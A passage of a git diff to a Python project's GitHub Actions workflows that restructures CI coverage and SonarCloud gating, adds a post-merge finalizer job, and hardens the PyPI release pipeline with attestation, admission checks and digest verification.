actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 with: - name: proof-host-${{ inputs.ref }} - path: proof-host-qualification.json + name: proof-input-${{ inputs.ref }} + path: proof-input-qualification.json if-no-files-found: error - - name: Upload coverage report - id: coverage-report + # Prove the shards form a complete, disjoint partition of a fresh collection, + # then combine shard + integration coverage once and enforce the 90% floor. Runs + # only when both coverage producers succeed, so partial coverage is never + # reported. + coverage-reduce: + needs: [test-shard, integration] + runs-on: ubuntu-24.04 + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7 + with: + persist-credentials: false + ref: ${{ inputs.ref }} + - uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0 + with: + python-version: "3.12.14" + - name: Install uv + uses: astral-sh/setup-uv@c18668ad3cf93ea998bef934396af7bb5c839dc7 # v8 + with: + enable-cache: false + version: "0.12.4" + - name: Receive shard coverage data and manifests + uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 + with: + pattern: coverage-shard-*-${{ inputs.ref }} + path: ${{ runner.temp }}/reduce + merge-multiple: true + - name: Receive integration coverage data + uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 + with: + name: coverage-integration-${{ inputs.ref }} + path: ${{ runner.temp }}/reduce + - name: Prove completeness and combine coverage + env: + # Keep the combined data outside the checkout so it never adds a + # top-level directory the authority-boundary policy would reject. + RAES_COVERAGE_REDUCE_DIR: ${{ runner.temp }}/reduce + RAES_SHARD_COUNT: ${{ env.RAES_CI_SHARD_COUNT }} + RAES_SHARD_SOURCE_SHA: ${{ inputs.ref }} + run: | + uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s verify-coverage-reduce + - name: Upload combined coverage report if: always() uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 with: @@ -201,3 +378,83 @@ jobs: path: | implementations/python/coverage.xml implementations/python/coverage.json + if-no-files-found: error + retention-days: 1 + + # SonarCloud quality gate. It runs inside this graph, depending only on the + # exact source and the combined coverage, so it starts as soon as coverage is + # ready. Its `if:` reduces the trust context to same-repository PRs and + # protected pushes exactly like the historical top-level job, so the token is + # never exposed to fork or Dependabot contexts. + sonar: + needs: coverage-reduce + runs-on: ubuntu-24.04 + if: >- + inputs.sonar-enabled + && ((github.event_name == 'push' + && (github.ref == 'refs/heads/main' || github.ref == 'refs/heads/dev')) + || (github.event_name == 'pull_request' + && github.event.pull_request.head.repo.full_name == github.repository + && github.actor != 'dependabot[bot]')) + outputs: + outcome: ${{ steps.result.outputs.outcome }} + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7 + with: + fetch-depth: 0 + persist-credentials: false + ref: ${{ inputs.ref }} + - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 + with: + name: coverage-report + path: implementations/python/ + - name: SonarCloud Scan + id: scan + continue-on-error: true + uses: SonarSource/sonarqube-scan-action@ba9859eae8dd6bd29e412f25ddbbef3d032000f4 # v8 + env: + SONAR_TOKEN: ${{ secrets.sonar_token }} + - name: Record quality-gate outcome + id: result + run: echo "outcome=${{ steps.scan.outcome }}" >> "${GITHUB_OUTPUT}" + + # Fail-closed aggregate over every required job. A skipped or cancelled producer + # is distinguished from success, so a missing shard or a skipped reducer fails + # the gate rather than silently passing. + gate: + needs: [test-shard, integration, checks, proof, coverage-reduce] + if: always() + runs-on: ubuntu-24.04 + outputs: + outcome: ${{ steps.aggregate.outputs.outcome }} + steps: + - name: Aggregate required job results + id: aggregate + env: + SHARD_RESULT: ${{ needs.test-shard.result }} + INTEGRATION_RESULT: ${{ needs.integration.result }} + CHECKS_RESULT: ${{ needs.checks.result }} + PROOF_RESULT: ${{ needs.proof.result }} + REDUCE_RESULT: ${{ needs.coverage-reduce.result }} + run: | + set -euo pipefail + failed="" + for pair in \ + "test-shard:${SHARD_RESULT}" \ + "integration:${INTEGRATION_RESULT}" \ + "checks:${CHECKS_RESULT}" \ + "proof:${PROOF_RESULT}" \ + "coverage-reduce:${REDUCE_RESULT}"; do + name="${pair%%:*}" + result="${pair#*:}" + if [ "${result}" != "success" ]; then + echo "required job ${name} concluded with '${result}'" >&2 + failed="${failed} ${name}" + fi + done + if [ -n "${failed}" ]; then + echo "outcome=failure" >> "${GITHUB_OUTPUT}" + echo "canonical gate failed:${failed}" >&2 + exit 1 + fi + echo "outcome=success" >> "${GITHUB_OUTPUT}" diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index d10ab8705..5353215eb 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -38,12 +38,18 @@ jobs: ref: ${{ github.sha }} base-rev: ${{ github.event.pull_request.base.sha || github.event.before || github.sha }} requirement-branch: ${{ github.head_ref || github.ref_name }} + # Run the quality gate inside the reusable graph. The reusable sonar job is + # itself trust-gated to same-repository PRs and protected pushes, so the + # token below is never exposed to fork or Dependabot contexts. + sonar-enabled: true + secrets: + sonar_token: ${{ secrets.SONAR_TOKEN }} - # The repository's dev/main branch protections require the historical - # `verify` check context. Reusable jobs report nested contexts, so preserve - # that stable contract with a same-run result join. The reusable call owns the - # existing proof-bearing nox graph; this join cannot turn any failed or - # skipped admission job into success. + # The repository's dev/main branch protections require the historical `verify` + # and `sonar` check contexts. The reusable call is atomic to this caller, so it + # exposes two decoupled outcomes; each join below preserves one stable context + # and cannot turn a failed or skipped reusable job into success. A red quality + # gate no longer blocks the `verify` context and vice versa (#935). verify: needs: canonical if: always() @@ -53,10 +59,10 @@ jobs: steps: - name: Preserve the required canonical verification status env: - CANONICAL_RESULT: ${{ needs.canonical.result }} + GATE_OUTCOME: ${{ needs.canonical.outputs.gate-outcome }} run: | - if [ "${CANONICAL_RESULT}" != "success" ]; then - echo "Canonical verification concluded with '${CANONICAL_RESULT}'" >&2 + if [ "${GATE_OUTCOME}" != "success" ]; then + echo "Canonical verification gate concluded with '${GATE_OUTCOME}'" >&2 exit 1 fi @@ -70,7 +76,7 @@ jobs: with: python-version: "3.12.14" - name: Install uv - uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v8 + uses: astral-sh/setup-uv@c18668ad3cf93ea998bef934396af7bb5c839dc7 # v8 with: enable-cache: false version: "0.12.4" @@ -101,29 +107,12 @@ jobs: with: python-version: ${{ matrix.python.payload }} - name: Install uv - uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v8 + uses: astral-sh/setup-uv@c18668ad3cf93ea998bef934396af7bb5c839dc7 # v8 with: enable-cache: false version: "0.12.4" - name: Test exact interpreter and clean distribution run: uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s python-compatibility - - name: Record exact interpreter qualification - run: | - uv run --project implementations/python --frozen python -m tools.bootstrap_profile record-case T03 \ - "${{ github.sha }}" noxfile.py --artifact-id "cpython-${{ matrix.python.feature }}" --artifact-id uv \ - > t03-result.json - uv run --project implementations/python --frozen python -m tools.bootstrap_profile qualification-evidence \ - public-ubuntu-24.04-x86_64 "${{ github.sha }}" \ - "github-actions:${{ github.repository }}:${{ github.run_id }}:${{ github.run_attempt }}" \ - --python-artifact-id "cpython-${{ matrix.python.feature }}" --case-result t03-result.json \ - > python-qualification.json - - name: Upload interpreter qualification evidence - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 - with: - name: python-${{ matrix.python.feature }}-${{ github.sha }} - path: python-qualification.json - if-no-files-found: error # Opt-in, non-blocking, runtime-gated container integration tests (RUN-314). # Kept out of the hermetic `verify` graph; the `docker` marker tests self-skip @@ -139,7 +128,7 @@ jobs: with: python-version: "3.12.14" - name: Install uv - uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v8 + uses: astral-sh/setup-uv@c18668ad3cf93ea998bef934396af7bb5c839dc7 # v8 with: enable-cache: false version: "0.12.4" @@ -170,7 +159,7 @@ jobs: with: python-version: "3.12.14" - name: Install uv - uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v8 + uses: astral-sh/setup-uv@c18668ad3cf93ea998bef934396af7bb5c839dc7 # v8 with: enable-cache: false version: "0.12.4" @@ -184,28 +173,85 @@ jobs: path: implementations/python/osv-scanner-report.json if-no-files-found: warn + # The quality gate now runs inside the reusable graph (decoupled from the full + # test gate). This join preserves the required `sonar` context by checking the + # reusable quality-gate outcome. When Sonar is required for this event + # (same-repository PR or protected push) the outcome MUST be success: an empty + # outcome then means the scan failed before recording a verdict (e.g. checkout + # or artifact download), which must fail closed rather than pass as "skipped". + # An empty outcome is only allowed for the trust contexts where Sonar is + # intentionally not run (fork or Dependabot pull request). sonar: + needs: canonical + if: always() runs-on: ubuntu-24.04 - needs: [verify] - # GitHub withholds Actions secrets from forked and Dependabot pull requests. - # Run the quality gate for same-repository PRs so findings block the - # merge, while keeping the credential out of untrusted contribution paths. - if: >- - (github.event_name == 'push' - && (github.ref == 'refs/heads/main' || github.ref == 'refs/heads/dev')) - || (github.event_name == 'pull_request' - && github.event.pull_request.head.repo.full_name == github.repository - && github.actor != 'dependabot[bot]') + permissions: + contents: read + steps: + - name: Preserve the required SonarCloud quality-gate status + env: + SONAR_OUTCOME: ${{ needs.canonical.outputs.sonar-outcome }} + SONAR_REQUIRED: >- + ${{ (github.event_name == 'push' + && (github.ref == 'refs/heads/main' || github.ref == 'refs/heads/dev')) + || (github.event_name == 'pull_request' + && github.event.pull_request.head.repo.full_name == github.repository + && github.actor != 'dependabot[bot]') }} + run: | + if [ "${SONAR_REQUIRED}" = "true" ]; then + if [ "${SONAR_OUTCOME}" != "success" ]; then + echo "SonarCloud quality gate was required but concluded with '${SONAR_OUTCOME:-}'" >&2 + exit 1 + fi + elif [ -n "${SONAR_OUTCOME}" ] && [ "${SONAR_OUTCOME}" != "success" ]; then + echo "SonarCloud quality gate concluded with '${SONAR_OUTCOME}'" >&2 + exit 1 + fi + + # Advisory early-feedback lane (#935): static/lint/policy for the diff plus any + # directly changed pytest modules, using the fail-closed change selector. It is + # NOT a required check and never a merge gate; the full-suite shards inside the + # canonical graph remain authoritative. + fast-feedback: + runs-on: ubuntu-24.04 + if: github.event_name == 'pull_request' steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7 with: fetch-depth: 0 persist-credentials: false - - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 + - uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0 + with: + python-version: "3.12.14" + - name: Install uv + uses: astral-sh/setup-uv@c18668ad3cf93ea998bef934396af7bb5c839dc7 # v8 with: - name: coverage-report - path: implementations/python/ - - name: SonarCloud Scan - uses: SonarSource/sonarqube-scan-action@22918119ff8e1ca75a623e15c8296b6ea4fbe28f # v8 + enable-cache: false + version: "0.12.4" + - name: Fetch locked generic-tool inputs with the qualified client + run: | + mkdir .canonical-tool-inputs + uv run --project implementations/python --frozen python -m tools.bootstrap_profile fetch-inputs \ + public-ubuntu-24.04-x86_64 .canonical-tool-inputs \ + --artifact-id conftest --artifact-id gitleaks --artifact-id osv-scanner --artifact-id vale + - name: Install locked generic tools from local inputs + run: >- + uv run --project implementations/tooling/python --frozen --no-default-groups + python -m tools.bootstrap_profile + generic-tools --local-input-root .canonical-tool-inputs + - name: Resolve policy base and requirement UID + id: context env: - SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }} + BASE_SHA: ${{ github.event.pull_request.base.sha }} + BRANCH: ${{ github.head_ref }} + run: | + echo "base_rev=${BASE_SHA}" >> "${GITHUB_OUTPUT}" + REQ_UID="$(uv run --project implementations/tooling/python --frozen --no-default-groups python -m tools.requirement_context --branch "${BRANCH}")" + echo "uid=${REQ_UID}" >> "${GITHUB_OUTPUT}" + - name: Run advisory fast-feedback lane + env: + RAES_REQUIREMENT_UID: ${{ steps.context.outputs.uid }} + RAES_REQUIREMENT_BRANCH: ${{ github.head_ref }} + GC_BASE_URL: ${{ vars.GC_BASE_URL }} + run: | + uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s verify-fast-feedback -- --base-rev "${{ steps.context.outputs.base_rev }}" diff --git a/.github/workflows/docs.yml b/.github/workflows/docs.yml index 7b4ce40a7..6a07915f1 100644 --- a/.github/workflows/docs.yml +++ b/.github/workflows/docs.yml @@ -37,7 +37,7 @@ jobs: with: python-version: "3.12.14" - name: Install uv - uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v8 + uses: astral-sh/setup-uv@c18668ad3cf93ea998bef934396af7bb5c839dc7 # v8 with: enable-cache: false version: "0.12.4" diff --git a/.github/workflows/ground-control-phase-e.yml b/.github/workflows/ground-control-phase-e.yml new file mode 100644 index 000000000..1397563f6 --- /dev/null +++ b/.github/workflows/ground-control-phase-e.yml @@ -0,0 +1,71 @@ +name: Ground Control Phase E +# Carries the pull request into the run record, so a dispatch run — which has no +# `pull_requests` association — is still bound to what it finalized (issue #1671). +run-name: Ground Control Phase E for PR ${{ github.event.pull_request.number || inputs.pr }} + +# A merged Ground Control delivery pull request finishes Phase E here, with no model or +# agent session. The agent records a trusted delivery-readiness handoff at Phase D and may +# then terminate permanently; this job is a trigger and a transport. +# +# It holds no `gh` logic, no marker parser, and no completion reconstruction. It passes the +# event's pull-request number to `grndctl finalize-merged-pr`, which resolves the issue from +# the trusted pointer and replays the recorded payload through the incumbent finalizer — so +# the merge gate, the immutable merged-revision requirement verification, the final-report +# marker, and the idempotent close all still apply, unchanged. +# +# It runs no tests, no policy suite, and no review, and it waits for no other post-merge job. +# +# Written by `grndctl init`. The pinned version below is the grndctl that wrote it; bump it +# deliberately rather than tracking a moving tag. + +on: + pull_request: + types: [closed] + branches: [main, dev] + workflow_dispatch: + inputs: + pr: + description: Pull request number to finalize (maintainer repair path) + required: true + type: string + +concurrency: + # Serialize per pull request so a replay cannot race itself. Never cancel: a cancelled + # finalization leaves neither a final report nor a failure record. + group: gc-phase-e-${{ github.event.pull_request.number || inputs.pr }} + cancel-in-progress: false + +permissions: + contents: read + pull-requests: read + # The close gate verifies this job's own run through the Actions API before it accepts an + # automation-authored final-report marker. + actions: read + issues: read + +jobs: + finalize: + if: ${{ github.event_name == 'workflow_dispatch' || github.event.pull_request.merged == true }} + runs-on: ubuntu-latest + permissions: + contents: read + pull-requests: read + actions: read + issues: write + steps: + # The immutable merge revision, never the pull-request head. Phase E reads requirement + # state from the merged tree and executes none of the delivered code; `fetch-depth: 0` + # brings every branch, so the merge commit is present on the dispatch path too. + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v4 + with: + ref: ${{ github.event.pull_request.merge_commit_sha || github.sha }} + fetch-depth: 0 + persist-credentials: false + - uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 + with: + node-version: 22 + - name: Finalize the merged delivery + env: + GH_TOKEN: ${{ github.token }} + PR: ${{ github.event.pull_request.number || inputs.pr }} + run: npx --yes grndctl@1.2.1 finalize-merged-pr --pr "$PR" diff --git a/.github/workflows/python-free-threaded-preview.yml b/.github/workflows/python-free-threaded-preview.yml index 9efa8fd47..06dbc1d15 100644 --- a/.github/workflows/python-free-threaded-preview.yml +++ b/.github/workflows/python-free-threaded-preview.yml @@ -26,7 +26,7 @@ jobs: with: python-version: 3.14.7t - name: Install uv - uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v8 + uses: astral-sh/setup-uv@c18668ad3cf93ea998bef934396af7bb5c839dc7 # v8 with: enable-cache: false version: "0.12.4" diff --git a/.github/workflows/release-please.yml b/.github/workflows/release-please.yml index 5db97d929..7863facdf 100644 --- a/.github/workflows/release-please.yml +++ b/.github/workflows/release-please.yml @@ -211,7 +211,7 @@ jobs: python-version: "3.12.14" - name: Install uv - uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v8 + uses: astral-sh/setup-uv@c18668ad3cf93ea998bef934396af7bb5c839dc7 # v8 with: enable-cache: false version: "0.12.4" @@ -272,7 +272,7 @@ jobs: python-version: "3.12.14" - name: Install uv - uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v8 + uses: astral-sh/setup-uv@c18668ad3cf93ea998bef934396af7bb5c839dc7 # v8 with: enable-cache: false version: "0.12.4" @@ -455,6 +455,25 @@ jobs: print(f"installed release sdist passed {len(report['cases'])} conformance cases") PY + - name: Generate output-bound release evidence (#1226) + env: + DIST_DIR: ${{ runner.temp }}/raes-release-dist + EVIDENCE_DIR: ${{ runner.temp }}/raes-release-evidence + SMOKE_VENV: ${{ runner.temp }}/raes-release-smoke + SDIST_SMOKE_VENV: ${{ runner.temp }}/raes-release-sdist-smoke + RELEASE_TAG: ${{ needs.resolve-release.outputs.tag }} + GITHUB_WORKFLOW_SHA: ${{ github.workflow_sha }} + run: | + set -euo pipefail + uv run --project implementations/tooling/python --frozen --no-default-groups python \ + -m tools.release_evidence generate \ + --distribution-dir "${DIST_DIR}" \ + --evidence-dir "${EVIDENCE_DIR}" \ + --environment "${SMOKE_VENV}" \ + --sdist-environment "${SDIST_SMOKE_VENV}" \ + --profile public-linux-x86_64-cp312-all-extras \ + --release-tag "${RELEASE_TAG}" + - name: Upload the tested release distributions uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 with: @@ -465,7 +484,22 @@ jobs: if-no-files-found: error retention-days: 7 - publish-pypi: + # Evidence is uploaded separately from the distributions: the corpus check + # rejects unexpected files beside the distributions, and the publishers + # consume the distribution directory as the exact wheel/sdist set. + - name: Upload the release evidence + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: release-evidence-${{ needs.resolve-release.outputs.release_sha }} + path: ${{ runner.temp }}/raes-release-evidence/*.json + if-no-files-found: error + retention-days: 7 + + # Signing runs at its own protected producer boundary. It checks out nothing: + # a protected script launched inside a candidate checkout can still import or + # execute candidate code. It holds no PyPI environment and no storage-write + # identity, so an attestation credential cannot authorize publication (#1226). + attest-release: needs: [resolve-release, verify-release, integration-docker-release, build-release] if: >- always() @@ -475,6 +509,141 @@ jobs: && needs.build-release.result == 'success' && github.ref == 'refs/heads/main' runs-on: ubuntu-24.04 + permissions: + contents: read + id-token: write # OIDC identity for build-provenance signing only + attestations: write # write the attestation; grants no publication scope + steps: + - name: Download the tested release distributions + uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 + with: + name: release-distributions-${{ needs.resolve-release.outputs.release_sha }} + path: dist/ + + - name: Download the release evidence + uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 + with: + name: release-evidence-${{ needs.resolve-release.outputs.release_sha }} + path: evidence/ + + - name: Measure the received bytes before signing + run: | + set -euo pipefail + wheels=(dist/raes-*.whl) + sdists=(dist/raes-*.tar.gz) + if [ "${#wheels[@]}" -ne 1 ] || [ ! -f "${wheels[0]}" ] \ + || [ "${#sdists[@]}" -ne 1 ] || [ ! -f "${sdists[0]}" ]; then + echo "Expected exactly one wheel and one sdist before signing" >&2 + exit 1 + fi + if [ ! -f evidence/release-evidence-index.json ]; then + echo "Release evidence index is absent; refusing to sign" >&2 + exit 1 + fi + # Signing arbitrary candidate JSON would only authenticate an + # unchecked claim, so the bytes are hashed here before they are signed. + sha256sum "${wheels[0]}" "${sdists[0]}" evidence/*.json + + - name: Attest the release subjects and their evidence + uses: actions/attest-build-provenance@4d101475d8b20a2381f78447822ac1eab6504dd8 # v4.2.2 + with: + subject-path: | + dist/raes-*.whl + dist/raes-*.tar.gz + evidence/*.json + push-to-registry: false + + # Admission is its own gate rather than a step inside a publisher: a job that + # holds a publication credential must not check out candidate source. Both + # publishers depend on this job, so absent or rejected evidence blocks the + # handoff instead of being an optional report (#1226). + admit-release: + needs: [resolve-release, verify-release, integration-docker-release, build-release, attest-release] + if: >- + always() + && needs.resolve-release.result == 'success' + && needs.verify-release.result == 'success' + && needs.integration-docker-release.result == 'success' + && needs.build-release.result == 'success' + && needs.attest-release.result == 'success' + && github.ref == 'refs/heads/main' + runs-on: ubuntu-24.04 + permissions: + contents: read + # Admission is the trust bridge to the credentialed publishers (#1227). + # It is the last job that may execute candidate code, so it validates the + # artifact set here and hands the publishers only these scalars. + outputs: + wheel_name: ${{ steps.admit.outputs.wheel_name }} + wheel_sha256: ${{ steps.admit.outputs.wheel_sha256 }} + sdist_name: ${{ steps.admit.outputs.sdist_name }} + sdist_sha256: ${{ steps.admit.outputs.sdist_sha256 }} + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7 + with: + ref: ${{ needs.resolve-release.outputs.release_sha }} + persist-credentials: false + + - name: Download the tested release distributions + uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 + with: + name: release-distributions-${{ needs.resolve-release.outputs.release_sha }} + path: dist/ + + - name: Download the release evidence + uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 + with: + name: release-evidence-${{ needs.resolve-release.outputs.release_sha }} + path: evidence/ + + - uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0 + with: + python-version: "3.12.14" + + - name: Install uv + uses: astral-sh/setup-uv@c18668ad3cf93ea998bef934396af7bb5c839dc7 # v8 + with: + enable-cache: false + version: "0.12.4" + + - name: Admit the release evidence + id: admit + env: + GH_TOKEN: ${{ github.token }} + GITHUB_WORKFLOW_SHA: ${{ github.workflow_sha }} + RELEASE_TAG: ${{ needs.resolve-release.outputs.tag }} + run: | + set -euo pipefail + subjects="${RUNNER_TEMP}/admitted-subjects.env" + uv run --project implementations/tooling/python --frozen --no-default-groups python \ + -m tools.release_evidence verify \ + --distribution-dir dist \ + --evidence-dir evidence \ + --release-tag "${RELEASE_TAG}" \ + --signer-workflow "${GITHUB_REPOSITORY}/.github/workflows/release-please.yml" \ + --emit-subjects "${subjects}" + + # The file exists only because admission accepted the release, and + # the emitting helper refuses a value carrying a newline or `=`, so + # one admitted scalar cannot declare another output here. + if [ "$(wc -l <"${subjects}")" -ne 4 ]; then + echo "Admitted subject handoff is not the expected four scalars" >&2 + exit 1 + fi + cat "${subjects}" >>"${GITHUB_OUTPUT}" + + publish-pypi: + needs: + [resolve-release, verify-release, integration-docker-release, build-release, admit-release] + if: >- + always() + && needs.resolve-release.result == 'success' + && needs.verify-release.result == 'success' + && needs.integration-docker-release.result == 'success' + && needs.build-release.result == 'success' + && needs.admit-release.result == 'success' + && github.ref == 'refs/heads/main' + runs-on: ubuntu-24.04 environment: pypi permissions: contents: write # revalidate the still-draft Release after environment approval @@ -486,6 +655,48 @@ jobs: name: release-distributions-${{ needs.resolve-release.outputs.release_sha }} path: dist/ + - name: Verify the admitted release distributions + env: + WHEEL_NAME: ${{ needs.admit-release.outputs.wheel_name }} + WHEEL_SHA256: ${{ needs.admit-release.outputs.wheel_sha256 }} + SDIST_NAME: ${{ needs.admit-release.outputs.sdist_name }} + SDIST_SHA256: ${{ needs.admit-release.outputs.sdist_sha256 }} + run: | + set -euo pipefail + # This job holds publication credentials and no candidate checkout, + # so the check is plain shell over the admitted scalars (#1227). + for scalar in "${WHEEL_NAME}" "${WHEEL_SHA256}" "${SDIST_NAME}" "${SDIST_SHA256}"; do + if [ -z "${scalar}" ]; then + echo "Admitted artifact identity is incomplete; refusing to publish" >&2 + exit 1 + fi + done + for digest in "${WHEEL_SHA256}" "${SDIST_SHA256}"; do + if ! printf '%s\n' "${digest}" | grep -Eq '^[0-9a-f]{64}$'; then + echo "Admitted digest '${digest}' is not a SHA-256" >&2 + exit 1 + fi + done + + # The publisher consumes exactly the admitted set: an extra file must + # not ride along, neither expected file may be absent, and a + # directory or symlink is never a publication candidate. + actual="$(find dist -mindepth 1 -maxdepth 1 -printf '%y %f\n' | LC_ALL=C sort)" + expected="$(printf 'f %s\nf %s\n' "${WHEEL_NAME}" "${SDIST_NAME}" | LC_ALL=C sort)" + if [ "${actual}" != "${expected}" ]; then + echo "Downloaded distributions are not the admitted set" >&2 + printf 'expected:\n%s\nactual:\n%s\n' "${expected}" "${actual}" >&2 + exit 1 + fi + + # Rehash the bytes rather than trusting the channel that delivered + # them or a name that merely looks right. + printf '%s dist/%s\n%s dist/%s\n' \ + "${WHEEL_SHA256}" "${WHEEL_NAME}" \ + "${SDIST_SHA256}" "${SDIST_NAME}" \ + | sha256sum --check --strict --quiet + echo "Verified the admitted wheel and sdist immediately before publication" + - name: Revalidate release identity immediately before PyPI env: GH_TOKEN: ${{ github.token }} @@ -580,36 +791,144 @@ jobs: fi echo "Revalidated Release ${EXPECTED_RELEASE_ID}, ${EXPECTED_TAG}, and ${EXPECTED_SHA} immediately before PyPI" + - name: Reconcile the PyPI destination + id: pypi-destination + env: + EXPECTED_TAG: ${{ needs.resolve-release.outputs.tag }} + WHEEL_NAME: ${{ needs.admit-release.outputs.wheel_name }} + WHEEL_SHA256: ${{ needs.admit-release.outputs.wheel_sha256 }} + SDIST_NAME: ${{ needs.admit-release.outputs.sdist_name }} + SDIST_SHA256: ${{ needs.admit-release.outputs.sdist_sha256 }} + run: | + set -euo pipefail + # PyPI and GitHub are reconciled independently; this is not a + # transaction. A re-run after a partial publication completes only + # the work that is actually outstanding (#1227, ADR-107). + version="${EXPECTED_TAG#v}" + response="${RUNNER_TEMP}/pypi-release.json" + status="$( + curl --silent --show-error --location --max-time 60 --retry 3 \ + --write-out '%{http_code}' --output "${response}" \ + "https://pypi.org/pypi/raes/${version}/json" + )" + + if [ "${status}" = "404" ]; then + echo "PyPI carries no raes ${version}; the whole distribution set is pending" + echo "pending=true" >>"${GITHUB_OUTPUT}" + exit 0 + fi + if [ "${status}" != "200" ]; then + echo "PyPI destination query returned HTTP ${status}; refusing to guess the state" >&2 + exit 1 + fi + + # An "already exists" answer is never proof of byte identity, so + # compare the digests PyPI reports for the bytes it actually stores. + pending=false + for subject in "${WHEEL_NAME}:${WHEEL_SHA256}" "${SDIST_NAME}:${SDIST_SHA256}"; do + name="${subject%%:*}" + expected_digest="${subject##*:}" + published="$( + jq -r --arg name "${name}" \ + '[.urls[] | select(.filename == $name) | .digests.sha256] | unique | join(" ")' \ + "${response}" + )" + if [ -z "${published}" ]; then + echo "PyPI ${version} does not yet carry ${name}; it remains pending" + pending=true + continue + fi + if [ "${published}" != "${expected_digest}" ]; then + echo "PyPI already stores ${name} with different bytes" >&2 + echo " admitted: ${expected_digest}" >&2 + echo " published: ${published}" >&2 + echo "A same-version digest mismatch is a release incident. Do not" >&2 + echo "overwrite, move the tag, or rebuild; cut a reviewed new release." >&2 + exit 1 + fi + echo "PyPI already stores ${name} with the admitted bytes" + done + + echo "pending=${pending}" >>"${GITHUB_OUTPUT}" + if [ "${pending}" = "false" ]; then + echo "Every admitted distribution is already on PyPI; nothing to upload" + fi + - name: Publish to PyPI (OIDC trusted publishing) + if: steps.pypi-destination.outputs.pending == 'true' uses: pypa/gh-action-pypi-publish@dc37677b2e1c63e2034f94d8a5b11f265b73ba33 # release/v1 with: packages-dir: dist + # Reconciliation above proved that any file already on PyPI is + # byte-identical to the admitted original, so skipping it completes + # a partial upload instead of failing the whole run. It never + # silently accepts a mismatch: that path exits above. + skip-existing: true publish-github: - needs: [resolve-release, verify-release, build-release, publish-pypi] + needs: [resolve-release, verify-release, build-release, admit-release, publish-pypi] if: >- always() && needs.resolve-release.result == 'success' && needs.verify-release.result == 'success' && needs.build-release.result == 'success' + && needs.admit-release.result == 'success' && needs.publish-pypi.result == 'success' && github.ref == 'refs/heads/main' runs-on: ubuntu-24.04 permissions: contents: write steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7 - with: - fetch-depth: 0 - ref: ${{ needs.resolve-release.outputs.release_sha }} - persist-credentials: false - + # This job holds `contents: write`, so it deliberately checks out no + # candidate source (#1227). The tag identity it needs is resolved over + # the API instead of from a working tree. - name: Download the tested release distributions uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 with: name: release-distributions-${{ needs.resolve-release.outputs.release_sha }} path: dist/ + - name: Verify the admitted release distributions + env: + WHEEL_NAME: ${{ needs.admit-release.outputs.wheel_name }} + WHEEL_SHA256: ${{ needs.admit-release.outputs.wheel_sha256 }} + SDIST_NAME: ${{ needs.admit-release.outputs.sdist_name }} + SDIST_SHA256: ${{ needs.admit-release.outputs.sdist_sha256 }} + run: | + set -euo pipefail + for scalar in "${WHEEL_NAME}" "${WHEEL_SHA256}" "${SDIST_NAME}" "${SDIST_SHA256}"; do + if [ -z "${scalar}" ]; then + echo "Admitted artifact identity is incomplete; refusing to publish" >&2 + exit 1 + fi + done + for digest in "${WHEEL_SHA256}" "${SDIST_SHA256}"; do + if ! printf '%s\n' "${digest}" | grep -Eq '^[0-9a-f]{64}$'; then + echo "Admitted digest '${digest}' is not a SHA-256" >&2 + exit 1 + fi + done + + actual="$(find dist -mindepth 1 -maxdepth 1 -printf '%y %f\n' | LC_ALL=C sort)" + expected="$(printf 'f %s\nf %s\n' "${WHEEL_NAME}" "${SDIST_NAME}" | LC_ALL=C sort)" + if [ "${actual}" != "${expected}" ]; then + echo "Downloaded distributions are not the admitted set" >&2 + printf 'expected:\n%s\nactual:\n%s\n' "${expected}" "${actual}" >&2 + exit 1 + fi + + printf 